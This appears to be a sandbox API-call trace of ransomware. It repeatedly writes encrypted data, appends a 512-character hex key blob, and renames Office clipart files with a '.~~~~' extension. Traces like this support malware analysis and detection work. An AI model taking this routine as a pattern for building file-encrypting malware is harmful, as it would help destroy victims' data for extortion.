	[0107.094] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.094] GetLastError () returned 0x0
	[0107.094] GetLastError () returned 0x0
	[0107.094] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.094] GetLastError () returned 0x0
	[0107.094] GetLastError () returned 0x0
	[0107.155] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd63c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.155] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x29c4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x29c4, lpOverlapped=0x0) returned 1
	[0107.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.156] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.157] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.157] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.157] CloseHandle (hObject=0x144) returned 1
	[0107.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.~~~~")) returned 1
	[0107.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.159] GetLastError () returned 0x0
	[0107.159] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.161] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.161] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.161] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22715104707) returned 1
	[0107.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa98ba7b0, dwHighDateTime=0x1d60e1e)) 
	[0107.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2db0
	[0107.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0107.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2db0 | out: hHeap=0x300000) returned 1
	[0107.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0107.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875610
	[0107.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.162] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.162] GetLastError () returned 0x0
	[0107.162] GetLastError () returned 0x0
	[0107.162] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.163] GetLastError () returned 0x0
	[0107.163] GetLastError () returned 0x0
	[0107.237] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb526, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.237] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4ada, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4ada, lpOverlapped=0x0) returned 1
	[0107.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.238] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.238] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.239] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.239] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.239] CloseHandle (hObject=0x144) returned 1
	[0107.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.~~~~")) returned 1
	[0107.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.240] GetLastError () returned 0x0
	[0107.241] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.242] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.242] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.243] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22723266480) returned 1
	[0107.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9978e90, dwHighDateTime=0x1d60e1e)) 
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2d08
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d08 | out: hHeap=0x300000) returned 1
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875908
	[0107.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.244] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.244] GetLastError () returned 0x0
	[0107.244] GetLastError () returned 0x0
	[0107.244] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.244] GetLastError () returned 0x0
	[0107.244] GetLastError () returned 0x0
	[0107.256] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd4c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.256] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2b38, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x2b38, lpOverlapped=0x0) returned 1
	[0107.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.261] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.261] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.261] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.261] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.261] CloseHandle (hObject=0x144) returned 1
	[0107.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2a88
	[0107.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.~~~~")) returned 1
	[0107.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2a88 | out: hHeap=0x300000) returned 1
	[0107.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.263] GetLastError () returned 0x0
	[0107.264] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.265] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.266] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22725569391) returned 1
	[0107.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa999eff0, dwHighDateTime=0x1d60e1e)) 
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd28
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd28 | out: hHeap=0x300000) returned 1
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2a88
	[0107.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875ad0
	[0107.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2a88 | out: hHeap=0x300000) returned 1
	[0107.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.267] GetLastError () returned 0x0
	[0107.267] GetLastError () returned 0x0
	[0107.267] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.267] GetLastError () returned 0x0
	[0107.267] GetLastError () returned 0x0
	[0107.273] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff58a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.273] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0xa75a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0xa75a, lpOverlapped=0x0) returned 1
	[0107.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.274] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.275] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.275] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.275] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.275] CloseHandle (hObject=0x144) returned 1
	[0107.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2a88
	[0107.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.~~~~")) returned 1
	[0107.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2a88 | out: hHeap=0x300000) returned 1
	[0107.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.276] GetLastError () returned 0x0
	[0107.277] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.278] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.279] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.279] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22726898631) returned 1
	[0107.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa99c5150, dwHighDateTime=0x1d60e1e)) 
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa208
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa208 | out: hHeap=0x300000) returned 1
	[0107.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2a88
	[0107.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875c00
	[0107.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2a88 | out: hHeap=0x300000) returned 1
	[0107.280] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.280] GetLastError () returned 0x0
	[0107.280] GetLastError () returned 0x0
	[0107.280] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.280] GetLastError () returned 0x0
	[0107.281] GetLastError () returned 0x0
	[0107.361] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff7e55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.361] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x81ab, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x81ab, lpOverlapped=0x0) returned 1
	[0107.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.362] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.362] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.362] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.363] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.363] CloseHandle (hObject=0x144) returned 1
	[0107.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.~~~~")) returned 1
	[0107.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.364] GetLastError () returned 0x0
	[0107.365] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.366] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.366] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.367] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22735684957) returned 1
	[0107.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9a83830, dwHighDateTime=0x1d60e1e)) 
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807568
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807568 | out: hHeap=0x300000) returned 1
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
